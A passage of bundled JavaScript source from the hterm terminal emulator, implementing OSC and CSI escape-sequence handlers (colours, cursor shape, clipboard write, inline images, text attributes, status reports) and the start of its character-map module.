*/hterm.VT.OSC['11'] = function (parseState) {// Args come in as a single string, but extra args will chain to the following
// OSC sequences.
var args = parseState.args[0].split(';'); if (!args) return; var colorArg; var colorX11 = lib.colors.x11ToCSS(args.shift()); if (colorX11) this.terminal.setBackgroundColor(colorX11); if (args.length > 0) { parseState.args[0] = args.join(';'); hterm.VT.OSC['12'].apply(this, [parseState]); }
};/**
* Change text cursor color.
*/hterm.VT.OSC['12'] = function (parseState) {// Args come in as a single string, but extra args will chain to the following
// OSC sequences.
var args = parseState.args[0].split(';'); if (!args) return; var colorArg; var colorX11 = lib.colors.x11ToCSS(args.shift()); if (colorX11) this.terminal.setCursorColor(colorX11);/* Note: If we support OSC 13+, we'd chain it here.
if (args.length > 0) {
parseState.args[0] = args.join(';');
hterm.VT.OSC['13'].apply(this, [parseState]);
}
*/};/**
* Set the cursor shape.
*
* Parameter is expected to be in the form "CursorShape=number", where number is
* one of:
*
*   0 - Block
*   1 - I-Beam
*   2 - Underline
*
* This is a bit of a de-facto standard supported by iTerm 2 and Konsole.  See
* also: DECSCUSR.
*
* Invalid numbers will restore the cursor to the block shape.
*/hterm.VT.OSC['50'] = function (parseState) {
var args = parseState.args[0].match(/CursorShape=(.)/i); if (!args) { console.warn('Could not parse OSC 50 args: ' + parseState.args[0]); return; } switch (args[1]) {
case '1':// CursorShape=1: I-Beam.
this.terminal.setCursorShape(hterm.Terminal.cursorShape.BEAM); break; case '2':// CursorShape=2: Underline.
this.terminal.setCursorShape(hterm.Terminal.cursorShape.UNDERLINE); break; default:// CursorShape=0: Block.
this.terminal.setCursorShape(hterm.Terminal.cursorShape.BLOCK);
}
};/**
* Set/read system clipboard.
*
* Read is not implemented due to security considerations.  A remote app
* that is able to both write and read to the clipboard could essentially
* take over your session.
*
* The clipboard data will be decoded according to the 'receive-encoding'
* preference.
*/hterm.VT.OSC['52'] = function (parseState) {
if (!this.enableClipboardWrite) return;// Args come in as a single 'clipboard;b64-data' string.  The clipboard
// parameter is used to select which of the X clipboards to address.  Since
// we're not integrating with X, we treat them all the same.
var args = parseState.args[0].match(/^[cps01234567]*;(.*)/); if (!args) return; var data = window.atob(args[1]); if (data) this.terminal.copyStringToClipboard(this.decode(data));
};/**
* Reset color palette.
*/hterm.VT.OSC['104'] = function (parseState) {
var attrs = this.terminal.getTextAttributes();// If there are no args, we reset the entire palette.
if (!parseState.args[0]) { attrs.resetColorPalette(); return; }// Args come in as a single 'index1;index2;...;indexN' string.
// Split on the semicolon and iterate through the colors.
var args = parseState.args[0].split(';'); args.forEach(function (c) { return attrs.resetColor(c); });
};/**
* Reset foreground color.
*/hterm.VT.OSC['110'] = function (parseState) { this.terminal.setForegroundColor(); };/**
* Reset background color.
*/hterm.VT.OSC['111'] = function (parseState) { this.terminal.setBackgroundColor(); };/**
* Reset text cursor color.
*/hterm.VT.OSC['112'] = function (parseState) { this.terminal.setCursorColor(); };/**
* iTerm2 extended sequences.
*
* We only support image display atm.
*/hterm.VT.OSC['1337'] = function (parseState) {// Args come in as a set of key value pairs followed by data.
// File=name=<base64>;size=123;inline=1:<base64 data>
var args = parseState.args[0].match(/^File=([^:]*):([\s\S]*)$/m); if (!args) { if (this.warnUnimplemented) console.log('iTerm2 1337: unsupported sequence: ' + args[1]); return; } var options = { name: '', size: 0, preserveAspectRatio: true, inline: false, width: 'auto', height: 'auto', align: 'left', uri: 'data:application/octet-stream;base64,' + args[2].replace(/[\n\r]+/gm, '') };// Walk the "key=value;" sets.
args[1].split(';').forEach(function (ele) {
var kv = ele.match(/^([^=]+)=(.*)$/m); if (!kv) return;// Sanitize values nicely.
switch (kv[1]) {
case 'name': try { options.name = window.atob(kv[2]); } catch (e) { } break; case 'size': try { options.size = parseInt(kv[2]); } catch (e) { } break; case 'width': options.width = kv[2]; break; case 'height': options.height = kv[2]; break; case 'preserveAspectRatio': options.preserveAspectRatio = !(kv[2] == '0'); break; case 'inline': options.inline = !(kv[2] == '0'); break;// hterm-specific keys.
case 'align': options.align = kv[2]; break; default:// Ignore unknown keys.  Don't want remote stuffing our JS env.
break;
}
});// This is a bit of a hack.  If the buffer has data following the image, we
// need to delay processing of it until after we've finished with the image.
// Otherwise while we wait for the the image to load asynchronously, the new
// text data will intermingle with the image.
if (options.inline) { var io = this.terminal.io; var queued = parseState.peekRemainingBuf(); parseState.advance(queued.length); this.terminal.displayImage(options); io.writeUTF8(queued); } else this.terminal.displayImage(options);
};/**
* URxvt perl modules.
*
* This is the escape system used by rxvt-unicode and its perl modules.
* Obviously we don't support perl or custom modules, so we list a few common
* ones that we find useful.
*
* Technically there is no format here, but most modules obey:
* <module name>;<module args, usually ; delimited>
*/hterm.VT.OSC['777'] = function (parseState) {
var ary; var urxvtMod = parseState.args[0].split(';', 1)[0]; switch (urxvtMod) {
case 'notify':// Format:
// notify;title;message
var title, message; ary = parseState.args[0].match(/^[^;]+;([^;]*)(;([\s\S]*))?$/); if (ary) { title = ary[1]; message = ary[3]; } hterm.notify({ 'title': title, 'body': message }); break; default: console.warn('Unknown urxvt module: ' + parseState.args[0]); break;
}
};/**
* Insert (blank) characters (ICH).
*/hterm.VT.CSI['@'] = function (parseState) { this.terminal.insertSpace(parseState.iarg(0, 1)); };/**
* Cursor Up (CUU).
*/hterm.VT.CSI['A'] = function (parseState) { this.terminal.cursorUp(parseState.iarg(0, 1)); };/**
* Cursor Down (CUD).
*/hterm.VT.CSI['B'] = function (parseState) { this.terminal.cursorDown(parseState.iarg(0, 1)); };/**
* Cursor Forward (CUF).
*/hterm.VT.CSI['C'] = function (parseState) { this.terminal.cursorRight(parseState.iarg(0, 1)); };/**
* Cursor Backward (CUB).
*/hterm.VT.CSI['D'] = function (parseState) { this.terminal.cursorLeft(parseState.iarg(0, 1)); };/**
* Cursor Next Line (CNL).
*
* This is like Cursor Down, except the cursor moves to the beginning of the
* line as well.
*/hterm.VT.CSI['E'] = function (parseState) { this.terminal.cursorDown(parseState.iarg(0, 1)); this.terminal.setCursorColumn(0); };/**
* Cursor Preceding Line (CPL).
*
* This is like Cursor Up, except the cursor moves to the beginning of the
* line as well.
*/hterm.VT.CSI['F'] = function (parseState) { this.terminal.cursorUp(parseState.iarg(0, 1)); this.terminal.setCursorColumn(0); };/**
* Cursor Horizontal Absolute (CHA).
*
* Xterm calls this Cursor Character Absolute.
*/hterm.VT.CSI['G'] = function (parseState) { this.terminal.setCursorColumn(parseState.iarg(0, 1) - 1); };/**
* Cursor Position (CUP).
*/hterm.VT.CSI['H'] = function (parseState) { this.terminal.setCursorPosition(parseState.iarg(0, 1) - 1, parseState.iarg(1, 1) - 1); };/**
* Cursor Forward Tabulation (CHT).
*/hterm.VT.CSI['I'] = function (parseState) { var count = parseState.iarg(0, 1); count = lib.f.clamp(count, 1, this.terminal.screenSize.width); for (var i = 0; i < count; i++) { this.terminal.forwardTabStop(); } };/**
* Erase in Display (ED, DECSED).
*/hterm.VT.CSI['J'] = hterm.VT.CSI['?J'] = function (parseState, code) {
var arg = parseState.args[0]; if (!arg || arg == 0) { this.terminal.eraseBelow(); } else if (arg == 1) { this.terminal.eraseAbove(); } else if (arg == 2) { this.terminal.clear(); } else if (arg == 3) {// The xterm docs say this means "Erase saved lines", but we'll just clear
// the display since killing the scrollback seems rude.
this.terminal.clear();
}
};/**
* Erase in line (EL, DECSEL).
*/hterm.VT.CSI['K'] = hterm.VT.CSI['?K'] = function (parseState, code) { var arg = parseState.args[0]; if (!arg || arg == 0) { this.terminal.eraseToRight(); } else if (arg == 1) { this.terminal.eraseToLeft(); } else if (arg == 2) { this.terminal.eraseLine(); } };/**
* Insert Lines (IL).
*/hterm.VT.CSI['L'] = function (parseState) { this.terminal.insertLines(parseState.iarg(0, 1)); };/**
* Delete Lines (DL).
*/hterm.VT.CSI['M'] = function (parseState) { this.terminal.deleteLines(parseState.iarg(0, 1)); };/**
* Delete Characters (DCH).
*
* This command shifts the line contents left, starting at the cursor position.
*/hterm.VT.CSI['P'] = function (parseState) { this.terminal.deleteChars(parseState.iarg(0, 1)); };/**
* Scroll Up (SU).
*/hterm.VT.CSI['S'] = function (parseState) { this.terminal.vtScrollUp(parseState.iarg(0, 1)); };/**
* Scroll Down (SD).
* Also 'Initiate highlight mouse tracking'.  Will not implement this part.
*/hterm.VT.CSI['T'] = function (parseState) { if (parseState.args.length <= 1) this.terminal.vtScrollDown(parseState.iarg(0, 1)); };/**
* Reset one or more features of the title modes to the default value.
*
*   ESC [ > Ps T
*
* Normally, "reset" disables the feature. It is possible to disable the
* ability to reset features by compiling a different default for the title
* modes into xterm.
*
* Ps values:
*   0 - Do not set window/icon labels using hexadecimal.
*   1 - Do not query window/icon labels using hexadecimal.
*   2 - Do not set window/icon labels using UTF-8.
*   3 - Do not query window/icon labels using UTF-8.
*
* Will not implement.
*/hterm.VT.CSI['>T'] = hterm.VT.ignore;/**
* Erase Characters (ECH).
*/hterm.VT.CSI['X'] = function (parseState) { this.terminal.eraseToRight(parseState.iarg(0, 1)); };/**
* Cursor Backward Tabulation (CBT).
*/hterm.VT.CSI['Z'] = function (parseState) { var count = parseState.iarg(0, 1); count = lib.f.clamp(count, 1, this.terminal.screenSize.width); for (var i = 0; i < count; i++) { this.terminal.backwardTabStop(); } };/**
* Character Position Absolute (HPA).
*
* Same as Cursor Horizontal Absolute (CHA).
*/hterm.VT.CSI['`'] = hterm.VT.CSI['G'];/**
* Character Position Relative (HPR).
*/hterm.VT.CSI['a'] = function (parseState) { this.terminal.setCursorColumn(this.terminal.getCursorColumn() + parseState.iarg(0, 1)); };/**
* Repeat the preceding graphic character.
*
* Not currently implemented.
*/hterm.VT.CSI['b'] = hterm.VT.ignore;/**
* Send Device Attributes (Primary DA).
*
* TODO(rginda): This is hardcoded to send back 'VT100 with Advanced Video
* Option', but it may be more correct to send a VT220 response once
* we fill out the 'Not currently implemented' parts.
*/hterm.VT.CSI['c'] = function (parseState) { if (!parseState.args[0] || parseState.args[0] == 0) { this.terminal.io.sendString('\x1b[?1;2c'); } };/**
* Send Device Attributes (Secondary DA).
*
* TODO(rginda): This is hardcoded to send back 'VT100' but it may be more
* correct to send a VT220 response once we fill out more 'Not currently
* implemented' parts.
*/hterm.VT.CSI['>c'] = function (parseState) { this.terminal.io.sendString('\x1b[>0;256;0c'); };/**
* Line Position Absolute (VPA).
*/hterm.VT.CSI['d'] = function (parseState) { this.terminal.setAbsoluteCursorRow(parseState.iarg(0, 1) - 1); };/**
* Horizontal and Vertical Position (HVP).
*
* Same as Cursor Position (CUP).
*/hterm.VT.CSI['f'] = hterm.VT.CSI['H'];/**
* Tab Clear (TBC).
*/hterm.VT.CSI['g'] = function (parseState) {
if (!parseState.args[0] || parseState.args[0] == 0) {// Clear tab stop at cursor.
this.terminal.clearTabStopAtCursor(false);
} else if (parseState.args[0] == 3) {// Clear all tab stops.
this.terminal.clearAllTabStops();
}
};/**
* Set Mode (SM).
*/hterm.VT.CSI['h'] = function (parseState) { for (var i = 0; i < parseState.args.length; i++) { this.setANSIMode(parseState.args[i], true); } };/**
* DEC Private Mode Set (DECSET).
*/hterm.VT.CSI['?h'] = function (parseState) { for (var i = 0; i < parseState.args.length; i++) { this.setDECMode(parseState.args[i], true); } };/**
* Media Copy (MC).
* Media Copy (MC, DEC Specific).
*
* These commands control the printer.  Will not implement.
*/hterm.VT.CSI['i'] = hterm.VT.CSI['?i'] = hterm.VT.ignore;/**
* Reset Mode (RM).
*/hterm.VT.CSI['l'] = function (parseState) { for (var i = 0; i < parseState.args.length; i++) { this.setANSIMode(parseState.args[i], false); } };/**
* DEC Private Mode Reset (DECRST).
*/hterm.VT.CSI['?l'] = function (parseState) { for (var i = 0; i < parseState.args.length; i++) { this.setDECMode(parseState.args[i], false); } };/**
* Parse extended SGR 38/48 sequences.
*
* This deals with the various ISO 8613-6 forms, and with legacy xterm forms
* that are common in the wider application world.
*
* @param {hterm.VT.ParseState} parseState The current input state.
* @param {number} i The argument in parseState to start processing.
* @param {hterm.TextAttributes} attrs The current text attributes.
* @return {Object} The skipCount member defines how many arguments to skip
*     (i.e. how many were processed), and the color member is the color that
*     was successfully processed, or undefined if not.
*/hterm.VT.prototype.parseSgrExtendedColors = function (parseState, i, attrs) {
var ary = void 0; var usedSubargs = void 0; if (parseState.argHasSubargs(i)) {// The ISO 8613-6 compliant form.
// e.g. 38:[color choice]:[arg1]:[arg2]:...
ary = parseState.args[i].split(':'); ary.shift();// Remove "38".
usedSubargs = true;
} else if (parseState.argHasSubargs(i + 1)) {// The xterm form which isn't ISO 8613-6 compliant.  Not many emulators
// support this, and others actively do not want to.  We'll ignore it so
// at least the rest of the stream works correctly.  e.g. 38;2:R:G:B
// We return 0 here so we only skip the "38" ... we can't be confident the
// next arg is actually supposed to be part of it vs a typo where the next
// arg is legit.
return { skipCount: 0 };
} else {// The xterm form which isn't ISO 8613-6 compliant, but many emulators
// support, and many applications rely on.
// e.g. 38;2;R;G;B
ary = parseState.args.slice(i + 1); usedSubargs = false;
}// Figure out which form to parse.
switch (parseInt(ary[0])) {
default:// Unknown.
case 0:// Implementation defined.  We ignore it.
return { skipCount: 0 }; case 1: {// Transparent color.
// Require ISO 8613-6 form.
if (!usedSubargs) return { skipCount: 0 }; return { color: 'rgba(0, 0, 0, 0)', skipCount: 0 };
} case 2: {// RGB color.
// Skip over the color space identifier, if it exists.
var start = void 0; if (usedSubargs) {// The ISO 8613-6 compliant form:
//   38:2:<color space id>:R:G:B[:...]
// The xterm form isn't ISO 8613-6 compliant.
//   38:2:R:G:B
// Since the ISO 8613-6 form requires at least 5 arguments,
// we can still support the xterm form unambiguously.
if (ary.length == 4) start = 1; else start = 2;
} else {// The legacy xterm form: 38;2;R;G;B
start = 1;
}// We need at least 3 args for RGB.  If we don't have them, assume this
// sequence is corrupted, so don't eat anything more.
// We ignore more than 3 args on purpose since ISO 8613-6 defines some,
// and we don't care about them.
if (ary.length < start + 3) return { skipCount: 0 }; var r = parseState.parseInt(ary[start + 0]); var g = parseState.parseInt(ary[start + 1]); var b = parseState.parseInt(ary[start + 2]); return { color: 'rgb(' + r + ', ' + g + ', ' + b + ')', skipCount: usedSubargs ? 0 : 4 };
} case 3: {// CMY color.
// No need to support xterm/legacy forms as xterm doesn't support CMY.
if (!usedSubargs) return { skipCount: 0 };// We need at least 4 args for CMY.  If we don't have them, assume
// this sequence is corrupted.  We ignore the color space identifier,
// tolerance, etc...
if (ary.length < 4) return { skipCount: 0 };// TODO: See CMYK below.
var c = parseState.parseInt(ary[1]); var m = parseState.parseInt(ary[2]); var y = parseState.parseInt(ary[3]); return { skipCount: 0 };
} case 4: {// CMYK color.
// No need to support xterm/legacy forms as xterm doesn't support CMYK.
if (!usedSubargs) return { skipCount: 0 };// We need at least 5 args for CMYK.  If we don't have them, assume
// this sequence is corrupted.  We ignore the color space identifier,
// tolerance, etc...
if (ary.length < 5) return { skipCount: 0 };// TODO: Implement this.
// Might wait until CSS4 is adopted for device-cmyk():
// https://www.w3.org/TR/css-color-4/#cmyk-colors
// Or normalize it to RGB ourselves:
// https://www.w3.org/TR/css-color-4/#cmyk-rgb
var _c = parseState.parseInt(ary[1]); var _m = parseState.parseInt(ary[2]); var _y = parseState.parseInt(ary[3]); var k = parseState.parseInt(ary[4]); return { skipCount: 0 };
} case 5: {// Color palette index.
// If we're short on args, assume this sequence is corrupted, so don't
// eat anything more.
if (ary.length < 2) return { skipCount: 0 };// Support 38:5:P (ISO 8613-6) and 38;5;P (xterm/legacy).
// We also ignore extra args with 38:5:P:[...], but more for laziness.
var ret = { skipCount: usedSubargs ? 0 : 2 }; var color = parseState.parseInt(ary[1]); if (color < attrs.colorPalette.length) ret.color = color; return ret;
}
}
};/**
* Character Attributes (SGR).
*
* Iterate through the list of arguments, applying the attribute changes based
* on the argument value...
*/hterm.VT.CSI['m'] = function (parseState) {
var attrs = this.terminal.getTextAttributes(); if (!parseState.args.length) { attrs.reset(); return; } for (var i = 0; i < parseState.args.length; i++) {// If this argument has subargs (i.e. it has args followed by colons),
// the iarg logic will implicitly truncate that off for us.
var arg = parseState.iarg(i, 0); if (arg < 30) {
if (arg == 0) {// Normal (default).
attrs.reset();
} else if (arg == 1) {// Bold.
attrs.bold = true;
} else if (arg == 2) {// Faint.
attrs.faint = true;
} else if (arg == 3) {// Italic.
attrs.italic = true;
} else if (arg == 4) {// Underline.
if (parseState.argHasSubargs(i)) { var uarg = parseState.args[i].split(':')[1]; if (uarg == 0) attrs.underline = false; else if (uarg == 1) attrs.underline = 'solid'; else if (uarg == 2) attrs.underline = 'double'; else if (uarg == 3) attrs.underline = 'wavy'; else if (uarg == 4) attrs.underline = 'dotted'; else if (uarg == 5) attrs.underline = 'dashed'; } else { attrs.underline = 'solid'; }
} else if (arg == 5) {// Blink.
attrs.blink = true;
} else if (arg == 7) {// Inverse.
attrs.inverse = true;
} else if (arg == 8) {// Invisible.
attrs.invisible = true;
} else if (arg == 9) {// Crossed out.
attrs.strikethrough = true;
} else if (arg == 21) {// Double underlined.
attrs.underline = 'double';
} else if (arg == 22) {// Not bold & not faint.
attrs.bold = false; attrs.faint = false;
} else if (arg == 23) {// Not italic.
attrs.italic = false;
} else if (arg == 24) {// Not underlined.
attrs.underline = false;
} else if (arg == 25) {// Not blink.
attrs.blink = false;
} else if (arg == 27) {// Steady.
attrs.inverse = false;
} else if (arg == 28) {// Visible.
attrs.invisible = false;
} else if (arg == 29) {// Not crossed out.
attrs.strikethrough = false;
}
} else if (arg < 50) {// Select fore/background color from bottom half of 16 color palette
// or from the 256 color palette or alternative specify color in fully
// qualified rgb(r, g, b) form.
if (arg < 38) { attrs.foregroundSource = arg - 30; } else if (arg == 38) { var result = this.parseSgrExtendedColors(parseState, i, attrs); if (result.color !== undefined) attrs.foregroundSource = result.color; i += result.skipCount; } else if (arg == 39) { attrs.foregroundSource = attrs.SRC_DEFAULT; } else if (arg < 48) { attrs.backgroundSource = arg - 40; } else if (arg == 48) { var _result = this.parseSgrExtendedColors(parseState, i, attrs); if (_result.color !== undefined) attrs.backgroundSource = _result.color; i += _result.skipCount; } else { attrs.backgroundSource = attrs.SRC_DEFAULT; }
} else if (arg == 58) {// Underline coloring.
var _result2 = this.parseSgrExtendedColors(parseState, i, attrs); if (_result2.color !== undefined) attrs.underlineSource = _result2.color; i += _result2.skipCount;
} else if (arg == 59) {// Disable underline coloring.
attrs.underlineSource = attrs.SRC_DEFAULT;
} else if (arg >= 90 && arg <= 97) { attrs.foregroundSource = arg - 90 + 8; } else if (arg >= 100 && arg <= 107) { attrs.backgroundSource = arg - 100 + 8; }
} attrs.setDefaults(this.terminal.getForegroundColor(), this.terminal.getBackgroundColor());
};// SGR calls can handle subargs.
hterm.VT.CSI['m'].supportsSubargs = true;/**
* Set xterm-specific keyboard modes.
*
* Will not implement.
*/hterm.VT.CSI['>m'] = hterm.VT.ignore;/**
* Device Status Report (DSR, DEC Specific).
*
* 5 - Status Report. Result (OK) is CSI 0 n
* 6 - Report Cursor Position (CPR) [row;column]. Result is CSI r ; c R
*/hterm.VT.CSI['n'] = function (parseState) { if (parseState.args[0] == 5) { this.terminal.io.sendString('\x1b0n'); } else if (parseState.args[0] == 6) { var row = this.terminal.getCursorRow() + 1; var col = this.terminal.getCursorColumn() + 1; this.terminal.io.sendString('\x1b[' + row + ';' + col + 'R'); } };/**
* Disable modifiers which may be enabled via CSI['>m'].
*
* Will not implement.
*/hterm.VT.CSI['>n'] = hterm.VT.ignore;/**
* Device Status Report (DSR, DEC Specific).
*
* 6  - Report Cursor Position (CPR) [row;column] as CSI ? r ; c R
* 15 - Report Printer status as CSI ? 1 0 n (ready) or
*      CSI ? 1 1 n (not ready).
* 25 - Report UDK status as CSI ? 2 0 n (unlocked) or CSI ? 2 1 n (locked).
* 26 - Report Keyboard status as CSI ? 2 7 ; 1 ; 0 ; 0 n (North American).
*      The last two parameters apply to VT400 & up, and denote keyboard ready
*      and LK01 respectively.
* 53 - Report Locator status as CSI ? 5 3 n Locator available, if compiled-in,
*      or CSI ? 5 0 n No Locator, if not.
*/hterm.VT.CSI['?n'] = function (parseState) { if (parseState.args[0] == 6) { var row = this.terminal.getCursorRow() + 1; var col = this.terminal.getCursorColumn() + 1; this.terminal.io.sendString('\x1b[' + row + ';' + col + 'R'); } else if (parseState.args[0] == 15) { this.terminal.io.sendString('\x1b[?11n'); } else if (parseState.args[0] == 25) { this.terminal.io.sendString('\x1b[?21n'); } else if (parseState.args[0] == 26) { this.terminal.io.sendString('\x1b[?12;1;0;0n'); } else if (parseState.args[0] == 53) { this.terminal.io.sendString('\x1b[?50n'); } };/**
* This is used by xterm to decide whether to hide the pointer cursor as the
* user types.
*
* Valid values for the parameter:
*   0 - Never hide the pointer.
*   1 - Hide if the mouse tracking mode is not enabled.
*   2 - Always hide the pointer.
*
* If no parameter is given, xterm uses the default, which is 1.
*
* Not currently implemented.
*/hterm.VT.CSI['>p'] = hterm.VT.ignore;/**
* Soft terminal reset (DECSTR).
*/hterm.VT.CSI['!p'] = function () { this.terminal.softReset(); };/**
* Request ANSI Mode (DECRQM).
*
* Not currently implemented.
*/hterm.VT.CSI['$p'] = hterm.VT.ignore; hterm.VT.CSI['?$p'] = hterm.VT.ignore;/**
* Set conformance level (DECSCL).
*
* Not currently implemented.
*/hterm.VT.CSI['"p'] = hterm.VT.ignore;/**
* Load LEDs (DECLL).
*
* Not currently implemented.  Could be implemented as virtual LEDs overlaying
* the terminal if anyone cares.
*/hterm.VT.CSI['q'] = hterm.VT.ignore;/**
* Set cursor style (DECSCUSR, VT520).
*/hterm.VT.CSI[' q'] = function (parseState) { var arg = parseState.args[0]; if (arg == 0 || arg == 1) { this.terminal.setCursorShape(hterm.Terminal.cursorShape.BLOCK); this.terminal.setCursorBlink(true); } else if (arg == 2) { this.terminal.setCursorShape(hterm.Terminal.cursorShape.BLOCK); this.terminal.setCursorBlink(false); } else if (arg == 3) { this.terminal.setCursorShape(hterm.Terminal.cursorShape.UNDERLINE); this.terminal.setCursorBlink(true); } else if (arg == 4) { this.terminal.setCursorShape(hterm.Terminal.cursorShape.UNDERLINE); this.terminal.setCursorBlink(false); } else if (arg == 5) { this.terminal.setCursorShape(hterm.Terminal.cursorShape.BEAM); this.terminal.setCursorBlink(true); } else if (arg == 6) { this.terminal.setCursorShape(hterm.Terminal.cursorShape.BEAM); this.terminal.setCursorBlink(false); } else { console.warn('Unknown cursor style: ' + arg); } };/**
* Select character protection attribute (DECSCA).
*
* Will not implement.
*/hterm.VT.CSI['"q'] = hterm.VT.ignore;/**
* Set Scrolling Region (DECSTBM).
*/hterm.VT.CSI['r'] = function (parseState) { var args = parseState.args; var scrollTop = args[0] ? parseInt(args[0], 10) - 1 : null; var scrollBottom = args[1] ? parseInt(args[1], 10) - 1 : null; this.terminal.setVTScrollRegion(scrollTop, scrollBottom); this.terminal.setCursorPosition(0, 0); };/**
* Restore DEC Private Mode Values.
*
* Will not implement.
*/hterm.VT.CSI['?r'] = hterm.VT.ignore;/**
* Change Attributes in Rectangular Area (DECCARA)
*
* Will not implement.
*/hterm.VT.CSI['$r'] = hterm.VT.ignore;/**
* Save cursor (ANSI.SYS)
*/hterm.VT.CSI['s'] = function () { this.terminal.saveCursorAndState(); };/**
* Save DEC Private Mode Values.
*
* Will not implement.
*/hterm.VT.CSI['?s'] = hterm.VT.ignore;/**
* Window manipulation (from dtterm, as well as extensions).
*
* Will not implement.
*/hterm.VT.CSI['t'] = hterm.VT.ignore;/**
* Reverse Attributes in Rectangular Area (DECRARA).
*
* Will not implement.
*/hterm.VT.CSI['$t'] = hterm.VT.ignore;/**
* Set one or more features of the title modes.
*
* Will not implement.
*/hterm.VT.CSI['>t'] = hterm.VT.ignore;/**
* Set warning-bell volume (DECSWBV, VT520).
*
* Will not implement.
*/hterm.VT.CSI[' t'] = hterm.VT.ignore;/**
* Restore cursor (ANSI.SYS).
*/hterm.VT.CSI['u'] = function () { this.terminal.restoreCursorAndState(); };/**
* Set margin-bell volume (DECSMBV, VT520).
*
* Will not implement.
*/hterm.VT.CSI[' u'] = hterm.VT.ignore;/**
* Copy Rectangular Area (DECCRA, VT400 and up).
*
* Will not implement.
*/hterm.VT.CSI['$v'] = hterm.VT.ignore;/**
* Enable Filter Rectangle (DECEFR).
*
* Will not implement.
*/hterm.VT.CSI['\'w'] = hterm.VT.ignore;/**
* Request Terminal Parameters (DECREQTPARM).
*
* Not currently implemented.
*/hterm.VT.CSI['x'] = hterm.VT.ignore;/**
* Select Attribute Change Extent (DECSACE).
*
* Will not implement.
*/hterm.VT.CSI['*x'] = hterm.VT.ignore;/**
* Fill Rectangular Area (DECFRA), VT420 and up.
*
* Will not implement.
*/hterm.VT.CSI['$x'] = hterm.VT.ignore;/**
* vt_tiledata (as used by NAOhack and UnNetHack)
* (see https://nethackwiki.com/wiki/Vt_tiledata for more info)
*
* Implemented as far as we care (start a glyph and end a glyph).
*/hterm.VT.CSI['z'] = function (parseState) {
if (parseState.args.length < 1) return; var arg = parseState.args[0]; if (arg == 0) {// Start a glyph (one parameter, the glyph number).
if (parseState.args.length < 2) return; this.terminal.getTextAttributes().tileData = parseState.args[1];
} else if (arg == 1) {// End a glyph.
this.terminal.getTextAttributes().tileData = null;
}
};/**
* Enable Locator Reporting (DECELR).
*
* Not currently implemented.
*/hterm.VT.CSI['\'z'] = hterm.VT.ignore;/**
* Erase Rectangular Area (DECERA), VT400 and up.
*
* Will not implement.
*/hterm.VT.CSI['$z'] = hterm.VT.ignore;/**
* Select Locator Events (DECSLE).
*
* Not currently implemented.
*/hterm.VT.CSI['\'{'] = hterm.VT.ignore;/**
* Request Locator Position (DECRQLP).
*
* Not currently implemented.
*/hterm.VT.CSI['\'|'] = hterm.VT.ignore;/**
* Insert Columns (DECIC), VT420 and up.
*
* Will not implement.
*/hterm.VT.CSI['\'}'] = hterm.VT.ignore;/**
* Delete P s Columns (DECDC), VT420 and up.
*
* Will not implement.
*/hterm.VT.CSI['\'~'] = hterm.VT.ignore;// SOURCE FILE: hterm/js/hterm_vt_character_map.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.f');/**
* Character map object.
*
* Mapping from received to display character, used depending on the active
* VT character set.
*
* GR maps are not currently supported.
*
* @param {string} description A human readable description of this map.
* @param {Object} glmap The GL mapping from input to output characters.
*/hterm.VT.CharacterMap = function (description, glmap) {/**
* Short description for this character set, useful for debugging.
*/this.description = description;/**
* The function to call to when this map is installed in GL.
*/this.GL = null;// Always keep an unmodified reference to the map.
// This allows us to sanely reset back to the original state.
this.glmapBase_ = glmap;// Now sync the internal state as needed.
this.sync_();
};/**
* Internal helper for resyncing internal state.
*
* Used when the mappings change.
*
* @param {Object?} opt_glmap Additional mappings to overlay on top of the
*     base mapping.
*/hterm.VT.CharacterMap.prototype.sync_ = function (opt_glmap) {
var _this12 = this;// If there are no maps, then reset the state back.
if (!this.glmapBase_ && !opt_glmap) { this.GL = null; delete this.glmap_; delete this.glre_; return; }// Set the the GL mapping.  If we're given a custom mapping, then create a
// new object to hold the merged map.  This way we can cleanly reset back.
if (opt_glmap) this.glmap_ = Object.assign({}, this.glmapBase_, opt_glmap); else this.glmap_ = this.glmapBase_; var glchars = Object.keys(this.glmap_).map(function (key) { return '\\x' + lib.f.zpad(key.charCodeAt(0).toString(16)); }); this.glre_ = new RegExp('[' + glchars.join('') + ']', 'g'); this.GL = function (str) { return str.replace(_this12.glre_, function (ch) { return _this12.glmap_[ch]; }); };
};/**
* Reset map back to original mappings (discarding runtime updates).
*
* Specifically, any calls to setOverrides will be discarded.
*/hterm.VT.CharacterMap.prototype.reset = function () {// If we haven't been given a custom mapping, then there's nothing to reset.
if (this.glmap_ !== this.glmapBase_) this.sync_();
};/**
* Merge custom changes to this map.
*
* The input map need not duplicate the existing mappings as it is merged with
* the existing base map (what was created with).  Subsequent calls to this
* will throw away previous override settings.
*
* @param {Object} glmap The custom map to override existing mappings.
*/hterm.VT.CharacterMap.prototype.setOverrides = function (glmap) { this.sync_(glmap); };/**
* Return a copy of this mapping.
*
* @return {hterm.VT.CharacterMap} A new hterm.VT.CharacterMap instance.
*/hterm.VT.CharacterMap.prototype.clone = function () { var map = new hterm.VT.CharacterMap(this.description, this.glmapBase_); if (this.glmap_ !== this.glmapBase_) map.setOverrides(this.glmap_); return map; };/**
* Table of character maps.
*/hterm.VT.CharacterMaps = function () {
this.maps_ = hterm.VT.CharacterMaps.DefaultMaps;// Always keep an unmodified reference to the map.
// This allows us to sanely reset back to the original state.
this.mapsBase_ = this.maps_;
};/**
* Look up a previously registered map.
*
* @param {String} name The name of the map to lookup.
* @return {hterm.VT.CharacterMap} The map, if it's been registered.
*/hterm.VT.CharacterMaps.prototype.getMap = function (name) { if (this.maps_.hasOwnProperty(name)) return this.maps_[name]; else return undefined; };/**
* Register a new map.
*
* Any previously registered maps by this name will be discarded.
*
* @param {String} name The name of the map.
* @param {hterm.VT.CharacterMap} map The map to register.
*/hterm.VT.CharacterMaps.prototype.addMap = function (name, map) { if (this.maps_ === this.mapsBase_) this.maps_ = Object.assign({}, this.mapsBase_); this.maps_[name] = map; };/**
* Reset the table and all its maps back to original state.
*/hterm.VT.CharacterMaps.prototype.reset = function () { if (this.maps_ !== hterm.VT.CharacterMaps.DefaultMaps) this.maps_ = hterm.VT.CharacterMaps.DefaultMaps; };/**
* Merge custom changes to this table.
*
* @param {Object} maps A set of hterm.VT.CharacterMap objects.
